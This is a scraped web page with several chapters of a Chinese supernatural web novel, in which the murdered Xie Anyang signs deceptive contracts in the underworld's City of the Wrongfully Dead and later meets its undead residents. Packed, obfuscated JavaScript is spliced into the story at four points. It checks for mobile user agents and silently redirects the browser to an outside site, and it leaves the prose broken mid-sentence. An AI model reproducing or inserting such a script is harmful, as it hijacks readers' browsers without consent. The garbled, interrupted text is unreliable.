一言不合就动手。 那一瞬间,他本该往后躲的,可极度恐惧之下,身体反而动弹不得了。 人的肉眼对于这种突然的危机总是格外敏感,他无法控制这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢安阳没有刨根问题的耐性,便转移话题问:“你这么些年,真的没有找到过合适的人选?” 老冷哼出一声,“花田里神志清醒的人都被问过意愿,确如你所言,多数人已失了神智,剩下的人里也没有合适的。” 谢安阳正琢磨再套点什么话,前方突然凭空出现了一页四方的虚幻契约,上面浮现出几排红色的幻字,由于字形过于扭曲,根本看不出来内容是什么,只知道底下有个彼岸花印记。 谢安阳伸手摸了下契约,手指却从透明的轮廓线穿了过去,“这上面写的是什么东西,别是坑人的吧?” 老头沉着脸反问:“你这伤怎么回事?” 谢安阳倒也没想隐瞒什么,淡声说:“一个朋友捅的。他把我关在一间小黑屋里,里面潮湿又黑暗,全是老鼠蟑螂,他动手的时候毫不留情,还问我这样的人是不是没有心,然后就是现在这个样子了。” 老头感到很疑惑:“什么样的深仇大恨非得剖心?” 谢安阳撇撇嘴,冲老头眨了眨眼,看起来相当无辜,他说:“这我就想不清楚了,也记不清了,临死前饿了好多天,连问清楚的力气都没有,只知道我生前与他是很好的朋友——我到死都想不明白,他为什么那么恨我。” 5. 序曲(五) “那你今后打算怎么办?” “人间有法,我坚信他有天会来到地府,我得等到他来,然后问问他缘由,”他说到这里顿了顿,又问:“他手上有人命,会以什么样的形式来地府?” “他若真是穷凶极恶之徒、正常死于人间法律的判决,会先到对岸量刑,接受神罚,再送去轮回,但若是其他方式死的,很可能会成为枉死之人。” “什么叫其他方式?” “他杀、意外、自杀也算。不过你放心,他若手上有人命,是无法踏入枉死城的。” 谢安阳眉头紧蹙,“你们想把枉死城打造成桃花源,可为什么要把恶人送进彼岸花田,你们就不担心这些人出事?” 老人不以为意,“这些人早晚会沦为石蒜的养料,地府压根没把他们当人,就算出了什么事,也是一种解脱。” “凭什么?”谢安阳气笑了,“拥有执念的人就不配活着吗?” 老人也不高兴了,“你先担心自己吧,你若不乐意,老夫立马找别人!” 老人本以为谢安阳会因此服软,却见他脸色沉了下来,像是突然想起什么好笑的事,又低笑了几声。 老人多少还是心软了,安慰说:“众生皆苦,你比他们运气好,更该好生珍惜。” 谢安阳只是问:“你到底是什么人?” “告诉你也无妨,老夫乃是上任枉死城城主。” 听起来很厉害的样子。 谢安阳仔细打量着老人,总觉得他这身白袍很像明制的,说不定这老人真是明时来到枉死城的,这一待就是好几百年。 谢安阳忍不住问:“为什么现在不是了?” 毕竟历史总在上演争权夺利,有人的地方就是人间,在地府也不过是换了个形式存在,都一样。 老人仿佛猜出他心中所想,翻个白眼说:“历届城主任期是三百年,而契约是终身的,没有轮回资格,用你们现代的话说,老夫现今在退休养老。” 谢安阳仔细一琢磨,又觉得他若是这老人,也会迫切地想去轮回,毕竟谁愿意待在这种鬼地方养老? 老城主签下终身契,现今想去轮回,肯定是不会被法则允许的,否则也不会找到他。那么问题来了,若是现任枉死城城主发现会怎么样? 还有,枉死城属于地府的自治区,而终身契是人与地府签的,一个自治区还能代表地府与人签订契约么? 谢安阳思忖了一会,试探地问:“若我签下终身契,是不是还得为你的去向保密,且不能让人发现我有终身契印记?” 花田里的人多数早已神智不清,说不准哪天嘴欠就暴露了老人的行踪,而他没有喝过忘川水,意识足够清醒,且心思略深,更可能为他保守秘密。 察觉老人神色果然有了几番变化,谢安阳很会给人台阶,“晚辈的确自作聪明,如有冒犯之处,还望城主不要见怪。” 老人轻哼一声,没接话。 看来猜对了。 谢安阳又问:“签下终身契后,我有机会进入忘川府当差吗?” “你想为这些人讨个所谓的公道?” “哪能,我可没那么伟大。按你的说法,签下终身契后就得永远待在地府,而枉死城只能收留人到寿终,要想保守秘密,我就不可能一直待在枉死城。” 老人沉思了好一会,才正言厉色地说:“你倒不必为老夫保守秘密,但若你被人发现有这个印记,且不在地府名册中,后果得你自己承担。” 谢安阳眉头一紧,苦着脸问:“这么说的话,风险都是我来担?” “你难道还别的路可选?” “你最好的选择不也是我么?” 老人心中有了数,此人心思着实深沉,没那么好糊弄,便问:“你想要什么?” “一份信物,最好是别人一眼就能认出这个信物是你的。”谢安阳飞快地接了话,像是很久之前就想好了。 老人浑浊的双眼眯了起来,眼底透着精明的光,“你不会是指望被发现后,借此拖老夫下水吧?” 谢安阳连连摇头:“自然是有别的用处,贵人贱用这种事,晚辈也做不来。” 老人犹豫了半天,才从身侧的行囊里翻出一条手串递给他,“这东西是拙荆赠与老夫的,一直保留到现在,望你好生保管,来世我还得找你要回来。” 这玩意像是玉做的,看起来磨损严重,几百年前的东西,也算是老古董了,中间的珠子稍大一些,刻了个“宇”字,恐怕就是这老头的名字了。 谢安阳高高兴兴地接过去,“多谢城主。” “这回你该签下契约了吧?” 契约上不知道是哪个朝代的文字,谢安阳看不懂,只是想着他无论如何都得签,内容是什么好像就不重要了。于是他没有多心,问:“这怎么签?” “用血。” 用血这就是简单了,他身上的血迹几乎干涸了,但心口的血尚在流淌,谢安阳抬手抹了一点,遂一掌按在了契约上。 下一瞬,契约似受到了感应,文字飘忽忽地颤动几下,顷刻间化作一道道红色光点,落入了谢安阳的掌心。 然后就没有然后了。 这就完了? 他的左腕处并没有彼岸花印记。 谢安阳正想问缘由,就见老人摸出匕首,一刀划在了左腕。 那道印记像是活了一般,整个扭动几下身躯,又跟随血流从伤口处钻了出来,还带着些许荧光,晃晃悠悠地悬浮到了半空。 谢安阳总觉得哪里不对劲,却还是伸手碰了一下,谁曾想花朵竟立即没入他的掌心,还顺势爬到了左腕。 老人舒了口气,温声嘱咐:“你将来若是想轮回了,就用刀把这朵彼岸花剖出来,但是千万记住,得有个人自愿接受这朵彼岸花,否则它将跟随你到终身,你会永远无法/轮回。” “这样就行了吗?可……”谢安阳话还没说完,突然感觉到心口发痒得厉害,来不及细想别的,转瞬之间,钻心的痒痛再次袭遍全身,他情不自禁地抓挠起来。 老人连忙按住他肩膀不让他乱动,还相当和蔼地说:“花有神力,会修复你的身体,接下来会有一段自愈过程,你忍一忍,很快就好了。” 谢安阳心口痒痛到极致,几乎难以呼吸,他艰难地问出一句,“要多久?” “你伤得太重了,肉身得慢慢长回来,自然不可能是一时半会,再忍忍,熬过去就好了。” 谢安阳拼命抓紧心口的衣物,指尖几乎掐陷进血肉里,想借此来缓解心口剧烈的痒痛感。 然而万蚁噬心的感觉并没有消散,他的面容因痛苦而扭曲,愈发难以承受地瑟瑟发抖起来。 …… 这份痛楚折磨了谢安阳一整夜,等到谢安阳醒过来时,天色已经变亮了,而老人正在一旁收拾渔具。 地府的白天并不像人间的白昼,整个天空是昏黄色的,明暗交错,氛围格外沉重,像是人间的黄昏。 他身上的衣物已经被汗水浸透了,跟血混合在一起,气味难闻至极,心口似还在隐隐作痛。 他低头瞥了一眼,才发现心口的窟窿已经消失,皮肤白皙,像是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496489|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有受过伤一样。 他将信将疑地查看其他地方,发现血迹仍在,而身上的所有伤痕完全消失了,唯独左腕多了道印记,提醒着他昨晚的一切不是梦。 老人收拾好东西,就来到他面前说:“醒了就去枉死城吧。” “就……”他干咳了好几声,“就这样去枉死城没问题?” “切记不要让人看到你这道印记,枉死城的结界识别到彼岸花,会自行放你进去。” 谢安阳没说什么,默默地看了看衣服上残留的血迹,走到河畔想洗手。 他伸手试探时其实很害怕发生什么,但直到水没过掌心,冰冰凉凉的舒适感抚慰着指间,他才放下心来。 老人又说:“还有,你已签下问心契,日后不得伤害任何人,否则就会魂飞魄散。若是魂魄消弭于世,谁也救不了你。” 谢安阳整个人一愣,挑眉问:“什么问心契?” 不是终身契吗!? 他突然想到了第一份契约。 接下来他就懵了,耳畔响起老东西冰冷的话语:“问心契和终身契是两份契约,各有作用,第一份是自己签,第二份花灵入体即可。” 他突然听不懂中文了,合着这老人的意思是说第一份契约是问心契? 他以为那是终身契来着! ——论识字的重要性。 谢安阳心有不甘地追问:“你什么意思?” 老人说:“问心契也称问心咒,作为前任城主,老夫有义务替枉死城的城民考虑,若有朝一日,你当真将枉死城搅个天翻地覆,问心契就会生效。” “……” 难怪他看不懂契约的文字,这老东西八成是故意的,他是得多担心自己会复仇,才搞这么个幺蛾子来恶心人。 老人看他脸色难看,又说:“既然进了枉死城,就该放下所有的恩与怨,总是冤冤相报,枉死城岂不是会乱套?” 谢安阳相当无语,怪只怪自己文盲,当初还没想着留个心眼,只能打落牙齿和血吞了。他没好气地问:“我要是无意中推到谁,或是磕磕碰碰一点,也得付出代价!?” 老人:“那不会,当你手上出现人命,或是问心有愧,问心契才会生效。” 谢安阳缓缓地站了起来,冷不丁地从齿缝间挤出一句,“你就不怕我把你推下忘川?” 反正这老东西没了彼岸花,按理说是会受忘川水影响的。 淹死他喵的。 老人冷哼一声,“有问心契在,你若把我推下去,你会好到哪去?老夫倒不怕死,但若你真动手了,你这一生就再无法回头了。” 老人收拾好所有东西,临走前特地一指不远处,“又来一船人,你跟他们一起去忘川府吧。” 谢安阳杵在原地,一动不动。 “长鸣啊,来日方……”老人像是反应过来自己说了什么,飞快地住了嘴,咳嗽一声后,接着说:“这一世在枉死城安度余生,珍惜这份来之不易的安稳,别惹出乱子了,否则谁都救不了你。” 谢安阳自然听清了他的称呼。 他本以为自己真的聪明,能忽悠这活了好几百年的老东西,听他这称呼,难不成他俩是旧识?? 可若是旧识,老东西还会骗他签下问心契,想来他俩的关系不太可能亲近,那么就算追问真相,老东西也未必会说。 好在他并不关心这些乱七八糟的事,只关心他那位“朋友”什么时候会来忘川。 谢安阳最终什么都没说,还装作没听清的样子,目送他离去,许久才喃喃自语:“来日方长。” 6. 花田(一) “大少爷!下雨了,快回屋吧!” 他又回到了那片雾霾深处,身后忽然传来一个中年男人的呼唤,伴随着话音落下,似还叹息了一声。 又是强烈的熟悉感,还带着久违的亲切。 待他转过身去,却发现空无一人,他试着往前走了几步,拨开一重又一重的浓雾后,却在尽头看到了一个小小的背影。 从从瘦小的身形和穿着来看,像是个女孩儿。 他意欲上前看个清楚,虚空中却突然伸出一只手搭在了他肩膀上。 下一刻,他被一掌推了出去,整个人踉跄着跌进淤泥中,耳畔随之响起锁链沉重的拖拉声。 他心中升起一股不祥的预感,果然感到脖颈上一紧,身边竟出现了两个身着同样制服的黑衣人,他们手持锁链,从后面套住了他的脖子,拽着他一路往后拖。 强烈的窒息感传来,他拼命地想要扒拉开锁链,奈何不敌二人的气力,还感到眼前愈发模糊,几乎喘不过气来了。 谢安阳是被重重的拍门声惊醒的,醒来时冷汗涔涔,他又懵了半天,才从外面炸呼呼的声音里惊回神。 “谢安阳,该起床了,天亮啦!” 这个声音相当耳熟,又聒噪又讨厌,正是林朝那小兔崽子。 谢安阳烦躁地扔了俩字:“滚蛋。” 林朝丝毫没被吓到,还继续砸门,“谭爷爷叫你过去一趟。” 谢安阳咬牙切齿:“这个逆子!” 有时候怪想把有些人的手剁了的。 回想林朝失去记忆之前,曾信誓旦旦地说不会忘记他,还满口“谢大哥”的叫,现在倒好,成天喊他大名不说,还跟个逆子似的没事就来气他。 距离来到枉死城已过三年,他时不时就会被梦魇纠缠,几乎没睡个好觉,这次的梦魇太过真实,若是没被突然到来的林朝打断,他感觉自己可能会被勒死——尽管只是一种感觉,并非现实,也是非常糟糕的。 气愤之余,他还是有点庆幸和感激的。 谢安阳烦躁地捂了下脸,遂下床开了门。 林朝抬手敲了个空,两人目光一对,见谢安阳眸光冰冷,一时气氛有些尴尬,他连忙找补说:“这么大人了还赖床,你好意思?” 谢安阳:“?” 谢安阳抓了两把头发,感觉差不多顺了,人就往门框上一倚,抱着胳膊看林朝,淡声问:“来这干嘛?” 林朝眨眨眼,笑着说:“帮谭爷爷传话呀。” “还有呢?” 林朝傻笑一声,心虚地挠了挠头,“我有事想求你。” “先别求,办不了。”谢安阳扔下这句话,转身找了块毛巾擦脸。 林朝立马化作一贴狗皮膏药贴了过来,谢安阳走到哪里,他就跟到哪里,还没完没了地问:“你今天去不去花田啊?” “干什么?” “花田的石蒜开了,你帮我带一朵呗?” “杨洵没跟你说那玩意受忘川府管控,普通人乱摘要被乱棍打死的吗?” “啊?” 谢安阳整理衣物,懒得再搭理他。 林朝失落地低下头,“那算了,有机会再说。” 谢安阳抱着一堆衣物和绑带,又瞄林朝一眼。 “怎么了啊?” “哥要换衣服,还不快滚?” “啊?”林朝突然想到了什么,震惊地张大嘴巴,“他们说的不会是真的吧?” “什么玩意??” 林朝说:“都是男人,你怎么换衣服还要避着人啊?” 什么屁话,他当然是不能让人看到他身上没有疤痕,别人问起时都不知道该如何回答,平白惹一堆麻烦,何况他左腕有印记,更不能让人看到。 谢安阳一指门外,淡声说:“闭嘴,滚。” 林朝怕谢安阳生气,连忙捂住嘴,等到走远了,又扯着嗓子喊了一声,“安阳,我在外面等你!” “……” 谢安阳的住处是个名副其实的“养老院”,街坊四邻都是老头老太太,整座四合院里就他一个年轻人。 刚来那会,城主说什么院落有限、附近没有空房间,而别的地方又离忘川府太远,就将他安排在了这个四合院。 院中间有棵参天的老槐树,时值初夏,鸟鸣与虫鸣声不绝于耳,院里和风习习,时而落下簇簇花团,一夜之间堆得满院槐花香。 老人们特地在老槐树下置办了一套石桌,艳阳天闲来无事往那儿一坐,打打麻将、下下棋,阴凉而又舒适。 谢安阳所谓的换衣服其实只是将身上弄脏的绑带换掉,为免引起怀疑,随手换了件外套才出的门。 此刻正有几个老头聚在院中练太极,许多老人则围坐到老槐树下下棋,仔细看的话,当中还多了个来串门的年轻人在观棋。 换个衣服的功夫,林朝又凑上热闹了。 谢安阳和老人们本就没有共同话题,而况今天大家都起早了晨练,就他一个小青年睡到日上三竿,再怎么说他也是个要脸的人,就不太好意思在长辈们面前晃。 于是他眼不观四周,打算装个死,鬼鬼祟祟地埋着头从老槐树后面绕过去。 谁知却被观棋的林朝眼尖瞅见了,还跟他打了声招呼:“安阳,来下棋啊!” 谢安阳咬牙切齿地心想:死林朝! 练太极的老头也瞧见了,冲谢安阳招招手,“阳儿快来,太爷教你打太极拳。” 谢安阳连忙说:“不了,有事,太爷您慢慢练。” 林朝看他身后背着绘板,便问:“安阳,你又要去哪采风啊?” 谢安阳冲林朝翻个白眼,心里暗骂:你不说话没人把你当哑巴! 下棋的老人原本还在思索下一步,听到安阳的名字,也寻声望了过来,哪知过于用力,左边眼珠子竟“哐当”一下掉了出来。 “早……啊?”谢安阳抬头正好撞见这一幕,心里咯噔一下,“啊”字也断了半个音,他不着痕迹地避开目光,假装若无其事地从旁边走过去。 一旁的林朝碎碎念叨:“姥爷哟,都让您别太用力,看吧,又得洗洗再放回去。” 老头冷哼一声,嫌弃地抱怨:“走开,又没让你洗。” 林朝这就不乐意了,“哪次不是我帮您洗啊?” 老头嫌弃地扒开林朝,却不小心扒掉了他的右手臂,林朝忙捡起断掉的手臂,气得直跳脚,“好你个肖老头,对自己没轻没重就算了,怎么对别人也是毛手毛脚的,得了,我又得找欢儿姐给我缝胳膊了。” 肖老头脾气也上来了,将棋子往棋盘上一扔,还撒了个泼,“不下了,烦死了你这小孩。” 对面的老人也不乐意了,“肖老儿你什么意思,你这黑子分明败局已定,你耍什么赖啊!你个礼义廉!” 林朝预感大事不妙,眼看谢安阳趁机跑了,便抄过桌下的一篮子槐花,悄摸退了出去。 果不其然,刚走出去,后面就吵得不可开交。 “呸,你才无耻,谁耍赖了,是林朝这小兔崽子吵得我心烦,这局不算!” “肖老儿你怎么能这样,老夫不管,你就是输了,给钱给钱!” “我没输,你哪里赢我了,你这老东西真是胡搅蛮缠!” “……” 谢安阳迈步出门,还没来得及谢天谢地,下一秒又被林朝追上了,怀里还多了一篮槐花。 林朝乐呵呵地说:“安阳,你是要去找谭爷爷吧,正好,顺路帮个忙呗,把这个给欢儿姐送去。” 谢安阳疑惑地问:“你为什么不自己送?” 林朝伸手挠挠头,才想起右胳膊断掉了,只得尴尬地笑了笑,“这个洗过了,欢儿姐想做槐花饼,我给她团了一点。” 好一个答非所问。 谢安阳就不太乐意,丢到他怀里,“自己送。” “帮帮忙嘛。” 谢安阳默默看他右臂一眼,而后问:“手不要了?” 林朝满不在乎地说:“一会找欢儿姐帮我缝一下就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496490|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “那正好,你自己送吧。”谢安阳飞快地接了一句。 “求你了,安……不对,是谢大哥,”林朝下意识用仅剩的左手抓住谢安阳的左胳膊。 谢安阳的左臂上缠满了绷带,猝不及防被林朝这么一碰,竟吓得直往后躲,几乎要往后栽去。 林朝眼疾手快地拉住他,“小心!” “别碰我!”谢安阳很无语,嫌弃地扒拉开他,也不想再跟他继续拉扯不清,只得抱着槐花就走。 林朝缺心眼,压根没在意他的情绪,又在身后喊了一声,“别忘了跟欢儿姐说是我摘的!” “知道了。”谢安阳很不情愿地应了一声。 欢儿姐家离谢安阳家其实挺远的,他要去忘川府并不顺路,可没办法,他闹不过那兔崽子。 他与欢儿姐也不相熟,好容易来到她家院门前,又犹豫着不敢上前敲门了。 有个挎着篮子的姑娘正好走出来看见他,感到有些意外,笑问:“安阳哥,找谁呢?” 谢安阳不太好意思,只好问:“欢姐在吗?” “在呢,”姑娘立刻懂了他的来意,像是怕欢姐听到,又压低声音问:“你又被林朝那小子抓苦力了?” 谢安阳苦笑一声。 姑娘顿时明了,摆手道:“去吧,欢姐在中庭带小宝晒太阳呢。” “多谢。” 少妇背对着他坐在中庭的银杏树下,她口中轻轻哼唱着歌谣,还不时晃一晃面前的摇篮。身侧的老人也正躺在摇椅上闭目养神。 谢安阳放眼望去,一眼就看见摇篮里有个血肉模糊的肉胎,顿时呼吸一滞,强装镇定地露出笑容,“欢姐,林朝让我给你送槐花。” 岑欢愣了一下,没回头,仍旧摇着摇篮,淡声说:“多谢你,放桌上吧。” 谢安阳把槐花放在桌上,又来到老人身边。 老人似乎感应到了,缓缓地睁开眼睛,适应了好一会光线,像是看清了他的模样,当即口齿不清地唤了一声,“儿子!” 这老头疯病又犯了。 谢安阳好心扶谭老头起身,谭老头却扒拉着他胳膊不肯松手了,还含糊地说:“儿子,你回来啦?” 谢安阳无奈地问:“谭爷爷,您找我有什么事?” “我吃过了!”谭老头整个人痴痴傻傻的,又说:“我给你留了饺子!” 谢安阳头疼不已,背上的绘板还差点被掀了,幸得岑欢及时出现拉开谭老头,还轻声说:“谭爷爷,安阳不是您儿子,他还有事,让他走吧。” 谭老头这就不高兴了,“胡说!他就是我儿子!” 谢安阳其实知道谭老头叫他来的原因,这老头看到个年轻人都喊儿子,三天两头没事就会嚷嚷着让他过来,他都习惯了。 谢安阳试探地问:“要帮忙么?” “不用,”岑欢忽然顿了顿,眸光落到桌上的一盘点心上,张口想要叫住谢安阳,突然想起了什么,只得淡漠地道了一句:“你走吧。” 谭老头被拦着,又没头没尾地喊:“我儿子参军去了,这是好事哩,保家卫国,我要去接他回家……” 谢安阳还有别的事情,并不想在这里多待,本就是来看一眼这老头好点没,见到他没什么事,便不想浪费时间,更害怕再看到摇篮里的肉胎。 若非他现在已非生人之躯,早就生理不适了。 “欢姐,那我先走了。” 欢姐没再理会,自顾自地继续哄谭老头,“您好好吃饭,他晚些就回来了。” 谭老头见谢安阳离开了,又不依不饶地想要追上来,“你怎么能赶我儿子走,你快把他叫回来。” 谢安阳当然听到这句话了,但他并不想浪费时间在这里,因此头也不回地出了院子。 也不知道欢儿姐怎么劝的,谭老头居然没追出来,过了一会儿,他又听到里面传出断断续续的歌谣:“西边的太阳就要落山了,微山湖上静悄悄,弹起我心爱的土琵琶,唱起那动人的歌谣……” 7. 花田(二) 三年下来,谢安阳已经将地势摸了个清:整个枉死城坐落在忘川河中央的小岛上,外围是彼岸花田,中心则是枉死城。 而城门口有道结界,结界内如同小人间,结界外则是忘川府,因此谢安阳始终认为忘川府是给枉死城看门的。 忘川府中分为东西南北四园,各执其事。 北园掌管枉死城城民的生死轮回,是大门的登记处;东园管理枉死城民生、维持生息秩序;西园算是个文书阁,有地府千百年来的载史、有地府各类法则契约记录,也有全枉死城民的卷宗;而南园则是掌管刑赦之地,为刘钦掌事。 北园今天又来了一批新人,这回领头的人不是杨洵,而是梧桐。 梧桐是个姑娘,却留着短发,像个假小子。她正在堂内给排队的人登记:“姓名、年龄、生前籍贯、死因,亲属关系都说清楚些。” 她面前的姑娘目光呆滞麻木,慢吞吞地回答:“王筱,23岁,宁阳人……” 一楼中庭依旧人来人往,谢安阳进来时看到门楣处竟多了个东西——一只布满血丝的眼球,飘悠悠地浮在半空里,还会四处旋转。 他正看得出神,梧桐就凑了过来,还伸手在他眼前晃了晃,“杵这里干嘛?” 谢安阳嫌弃地瞥她一眼,摆摆手,“走开。” 梧桐像是明白了什么,问:“找城主还是刘钦大人?” 不能杵在大门中间挡路,谢安阳就扒拉着门框往里看她登记,随口说:“刘钦。” 梧桐登记完,立马有其他工作人员把王筱领走了。 见中庭的人还在排队核查身份,她不禁好心提醒了一句,“执法大人好多案子要处理呢,听说最近花田命案太多,他被城主叫走了。” 谢安阳疑惑地看她,“花田怎么了?” 梧桐更加疑惑:“你近来老往花田跑,你会不知道那边的事?” 谢安阳的确没事就爱去花田采风,可从未听说过有什么命案,何况忘川府都不怎么管花田的人,怎么还会有命案一说? 谢安阳就问:“好桐儿,跟我说说呗,怎么回事?” 梧桐却眨眨眼,朝他摊开手。 谢安阳有点无语,想了想,从衣兜里摸出一块巧克力给她,“就这一块。” 梧桐美滋滋地收了,还不忘抱怨:“你没事就从执法大人那儿顺巧克力,居然就给这一块,真抠门。” “不要算了,还我。” 梧桐连忙往后躲,“不告诉你了啊。” 谢安阳只好站定了,“我还得去花田,你快说吧。” 梧桐倒没为难他,咂咂嘴后,煞有其事地说:“近来有不少花田的人被推下了忘川,听说有几个被发现的时候就剩一摊血沫呢。” 谢安阳总算懂了,他每回采风都是在花田中,几乎不去河畔,所以没注意那里发生过什么。 谢安阳感到愈发疑惑:“花田的人最是害怕忘川水,巴不得离河畔远远的,怎么还会有人被推下去?谁看到了,万一是自戕呢?” 梧桐不以为然,“自杀更不可能了,花田从未出现过这么短时间内死那么多人。” 谢安阳问:“所以,刘钦得去查这件事?” 梧桐说:“他是忘川府的执法大人,当然得去查呀。虽说古往今来地府都默认让花田的人自生自灭,但怎么说花田也属于枉死城的一部分,现下遇到这种事,也不好真的放任不管。” 谢安阳有些愣神,又听梧桐啃着巧克力感叹,“洵哥说刘大人早上还被城主骂了一通,可惨了。” “城主骂刘钦?”谢安阳这就来了兴致,“干得漂亮!” 梧桐啃完巧克力,看见有人进来了,连忙撇开他,“不说了,工作,少爷您要是没事就一边去。” 谢安阳顿觉无趣至极,背上绘板准备离开。转身时,却险些跟进来的人撞上,对方眼疾手快地扶了他一把:“谢安阳?” 梧桐随口打了声招呼,“洵哥。” 杨洵瞥她一眼,又问谢安阳,“你怎么来了?” 谢安阳说:“随便逛逛。” 梧桐却插了一句,“他来找执法大人。” 杨洵是个好脾气的,便回了一句,“执法大人去花田了,你去找他吧。” 就离谱,花田那么大,鬼知道他去哪了,这让人怎么找?谢安阳就不太想说话,便摆摆手,默默地走开。 杨洵似乎看出了他的意图,便在后面问:“用不用我带你去?” 谢安阳捂了下脸,“不用。” …… 熟悉的花海,漫山遍野的彼岸花,却没有半分清香,与梦中一模一样,三步一头骨、五步一断臂残肢,远远地弥漫着呛鼻的腥臭味。 这里每天都会有新人来,也会有不少人消亡,他们游荡在这片花海,无处可去、无家可归,最终化作石蒜的养料,连轮回的资格都没有。 偶尔有几个黑衣人会过来修剪彼岸花,或是松一松土,待彼岸花成熟之际,再采收花朵回去,也不知道有什么用。 他来这个地方太多次了,还能随口跟背八股文的八旬老人打招呼,“韩先生,别背了,那玩意又没用。” 韩先生是个读书人,自是听不得他这种话,便愤愤地说:“年轻人不懂莫要乱说。” 仍在寻相公的何琬也笑着跟他打招呼,“谢公子,你今日看见我相公了么?” “我再找找看。” “多谢公子。” 跟从前一样,很多人看到他,都喜欢跟在他身后小声议论,待他走到忘川河畔,他们便怯懦地停在了原地,只能远远地观察他的一举一动。 他原本想就在花田中找个位置停下来的,可犹豫了一路,又下定决心似的,朝着忘川河畔去了。 左右约好的人还没来,他支好画架,摆放好所有的工具,便坐到一旁写生,还不时瞄一眼河畔的异常。 身后再次传来叽叽喳喳的议论声: “阿姐,他不怕掉下去么?” “是噢,安阳每天都会来花田给孩子画像,今天怎么跑到河畔去了?” “安阳哥哥,这次轮到我了,能给我画一幅吗?”有个女孩在后面软软糯糯地说。 谢安阳没看她,温声应和了一句,“今天不画像,给你们看看别的。” “什么呀?” “一会你们就知道了。” 他们还是很好奇,明明河畔离他们已经够远了,却依然不敢往前凑,只能远远地看一看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496491|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢安阳偏头瞄了一眼,突然发现韩先生也在人群里。 这老头似乎也好奇他在干什么,又放不下文人的面子,便握着书负手背到身后,高傲地抬起下巴,偶尔瞅一眼画纸上的内容。 谢安阳只好故意说:“韩先生,这叫素描,是画的一种。” 韩先生轻哼一声,“你这寥寥几笔哪知是何物,不如丹青。” 这素描面出自他谢安阳的手,的确是不如丹青的,他无从反驳,也深知这老头没有恶意,便干笑两声。 “上次教你写的‘茴’字学会了么?”脚踝突然被人抓住了。 姑且叫他茴香豆先生吧。 茴香豆先生打招呼的方式总是这样清新脱俗,得亏谢安阳心理素质好,否则还不吓死半个打酱油的。 这茴香豆不知道什么时候爬过来的,他算是唯一不怕靠近忘川河畔的人,没事就喜欢过来扒拉谢安阳。 谢安阳不太想搭理他:“忘了。” 茴香豆无奈地叹口气,“也罢。” 韩先生看到了,横眉冷对地指着他骂:“老东西,你离阳儿远点!” 茴香豆瞥他一眼,不以为然,愤愤地回怼:“大明早亡了,科举制度也取消了,成日就会背你那没用的破八股文。” 韩先生握着书的手气得发抖,“好过你这老东西,成不了范进,又不肯脱下长衫,自命清高!” “你……”茴香豆可能是被戳了痛处,气得脸都绿了,“有辱斯文!” 他俩吵得谢安阳耳根子疼,两个老东西互相瞧不上,最后总会祸祸到他头上,他可不能让这样的事再次发生。 思来想去,还是韩先生比较好对付,于是他故作咳嗽几声,打断了他俩的争锋相对,“韩先生莫生气,回头晚辈给您带巧克力怎么样?” 这里是地府,谢安阳作为普通人自然没有这玩意,可刘钦作为有编制的工作人员,还喜欢倒腾人间的玩意,从他那儿顺一盒还是轻轻松松的。 毕竟当初,谢安阳就是靠从刘钦那儿顺来的巧克力拿捏这些老封建的。 果不其然,韩先生最好对付,这就满意地冷哼出一声。 哪知远处有几个小孩子也纷纷叫嚷起来,“安阳哥哥,我也要!” 呜呼,居然把这些小孩忘了。 很烦,没办法了,只能对不起刘钦,多顺一盒了。 谢安阳无奈地连连应声:“都有都有。” 安抚这些老封建和小屁孩真不容易。 至于茴香豆是左右赶不走的,谢安阳曾经踹过揍过他,也不知道是什么原因,他总喜欢死皮赖脸跟着谢安阳。 谢安阳早已习惯了,便一边画景一边与他有一搭没一搭地聊天。 谢安阳从他口中得知:他姓孟,是被人乱棍打死的,满身都是淤青,无法去轮回,也不知哪天就会突然消失于世间。 谢安阳百无聊赖地听他聊天南海北,听他说怀才不遇、生不逢时,偶尔敷衍地应和两句,不时瞥了一眼花海尽头有没有想等的人。 谢安阳沉浸于万千思绪中,压根没注意周围的人,连身后的议论声也无视了。过了近半个多小时,就有人蹑手蹑脚地靠近了他,还随手搭在他肩膀上,大喝一声:“安阳!” 8. 花田(三) 铅笔削得又细又长,被他这么一吓,谢安阳手抖了一下,铅芯这就断了。 他心有余悸地侧过头,看到来人捧腹大笑的模样,气得一字一顿地骂:“王——八——蛋!” “你干什么呢?”吴桉嬉皮笑脸地问。 谢安阳很无语,重新找了支合适的铅笔,对着白纸中央那一笔出神。 